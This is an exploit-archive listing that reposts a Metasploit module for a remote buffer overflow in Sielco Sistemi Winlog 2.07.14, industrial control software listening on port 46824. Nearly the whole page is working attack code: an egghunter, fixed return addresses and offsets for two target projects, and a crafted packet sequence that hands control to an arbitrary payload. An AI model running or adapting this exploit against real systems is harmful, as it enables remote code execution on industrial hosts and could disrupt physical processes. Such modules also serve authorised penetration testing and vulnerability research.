Author

metasploit

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-18527

Category

remote exploits

Date add

05-06-2012

Platform

windows

Original : http://1337day.com/exploits/18449

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'         => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
            'Description'  => %q{
                This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
                When sending a specially formatted packet to the Runtime.exe service on port 46824,
                an attacker may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'm-1-k-3 <m1k3[at]s3cur1ty.de>'
                ],
            'References'     =>
                [
                    [ 'BID', '53811'],
                    [ 'URL', 'http://www.s3cur1ty.de' ],
                    [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process',
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => "\x00",
                    'DisableNops' => true,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
                        {
                            'Ret'    => 0x405153df,
                            'Offset' => 167,
                        }
                    ], #  Jmp ESP - Vclx40.bpl - 0x405153df
                    [ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
                        {
                            'Ret'    => 0x405153df,
                            'Offset' => 151,
                        }
                    ], #  Jmp ESP - Vclx40.bpl - 0x405153df
                    #The reliability depends on the actual project. We need to generate some more
                    #targets. Two of them for the default project and one other project is now available.
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jun 04 2012',
            'DefaultTarget'  => 0))
 
        register_options([Opt::RPORT(46824)], self.class)
    end
 
    def exploit
        connect
 
        egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
 
        print_status("Placing the shellcode")
        shellcode = rand_text_alpha(2000)
        shellcode << egg
        sock.put(shellcode)
 
        select(nil,nil,nil,1)
 
        buffer = rand_text_alpha(20)
        buffer << "\x14" * 10     #trigger the crash
        buffer << rand_text_alpha(target['Offset'])
        buffer << [target.ret].pack('V')
        buffer << egghunter
        buffer << rand_text_alpha(69 - egghunter.length)
 
        print_status("Trying target #{target.name}...")
        sock.put(buffer)
 
        handler
        disconnect
 
    end
end



#  0day.today [2024-12-26]  #